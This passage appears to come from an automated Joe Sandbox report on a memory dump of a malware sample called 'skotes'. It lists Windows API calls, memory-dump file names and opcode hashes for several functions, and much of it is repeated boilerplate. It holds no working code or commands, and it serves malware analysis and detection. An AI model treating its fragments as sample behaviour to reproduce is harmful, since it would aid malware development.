Part of subcall function 00B01775: CreateFileW.KERNEL32(00000000,00000000,?,00B01B65,?,?,00000000,?,00B01B65,00000000,0000000C), ref: 00B01792

__dosmaperr.LIBCMT ref: 00B01BD7
GetFileType.KERNEL32(00000000), ref: 00B01BE3
__dosmaperr.LIBCMT ref: 00B01BF6
__dosmaperr.LIBCMT ref: 00B01D9C

Strings

H, xrefs: 00B01D21

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 6daf1135796c5733cbe03133bc2b1c96a339fc0a2b1cd0c597a06ee30acd20bd
Instruction ID: 01744aaefa720d7f8078f9d26d80a7702a9d990f21c06a3a688c6e18a29d6ebc
Opcode Fuzzy Hash: 6daf1135796c5733cbe03133bc2b1c96a339fc0a2b1cd0c597a06ee30acd20bd
Instruction Fuzzy Hash: B8A1E332A141499FCF2DEF6CC991BAE3FE1EB06320F144699E811AF2D1DB359912CB51

Function 00AC7590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,E6CEA310,?,00000000,00B09138,000000FF), ref: 00AC75CC
CreateThread.KERNEL32(00000000,00000000,00AC7430,00B28638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00AC76BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00AC76C9

Part of subcall function 00ADD0C7: RtlWakeAllConditionVariable.NTDLL ref: 00ADD17B

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: 8bfdb1c9c8023f271fda76bb2e94f59f14ba2abb3ab7d0101216cca48dfb4653
Instruction ID: fedf50e4004ac54f7f40b16ab3c726a3e77637be276233d388d459b1e0d4c88c
Opcode Fuzzy Hash: 8bfdb1c9c8023f271fda76bb2e94f59f14ba2abb3ab7d0101216cca48dfb4653
Instruction Fuzzy Hash: B051EE71212248ABEB25DF28DD85F9D3BA1EB48704F508659F819973E1CB7AE480CF91

Function 00AF6FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00AF6EE6), ref: 00AF6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00AF7030
__dosmaperr.LIBCMT ref: 00AF70C5

Part of subcall function 00AF732A: __dosmaperr.LIBCMT ref: 00AF735F

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 669fc56d5bca7fb2c34504cfe7a2cd91f58b56aba523250ef650f766672180a9
Instruction ID: e5b2243ee02b4f1600c9fc0b7dfd1c43d993e580cb84246e1cbd3eeb846bd667
Opcode Fuzzy Hash: 669fc56d5bca7fb2c34504cfe7a2cd91f58b56aba523250ef650f766672180a9
Instruction Fuzzy Hash: 43415C75904208ABDB24EFB5DD459BFBBF9EF88300B10492DFA56D3221EB309904CB61

Function 00AC9BA5 Relevance: 4.6, APIs: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AC9BA8
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 0dcf19fc61da55f050c373a18f367176492c4917b5641cc0d844d314e971548d
Instruction ID: 338119007f0eadf451957ba0e829fa05f8f2243387cb690759f4258ca7fdc277
Opcode Fuzzy Hash: 0dcf19fc61da55f050c373a18f367176492c4917b5641cc0d844d314e971548d
Instruction Fuzzy Hash: E7311431714204DBEB18DB78DD8DBAEBBA2EF95314F24835DE024A73D6C77A89808751

Function 00AC9CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AC9CDD
Sleep.KERNEL32(00000064,?), ref: 00ACA963
CreateMutexA.KERNEL32(00000000,00000000,00B23254), ref: 00ACA981

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 34ef7a9580fc9301d888a87b6eef8b84d470e7752974e6b9b12bb97fc64ee59d
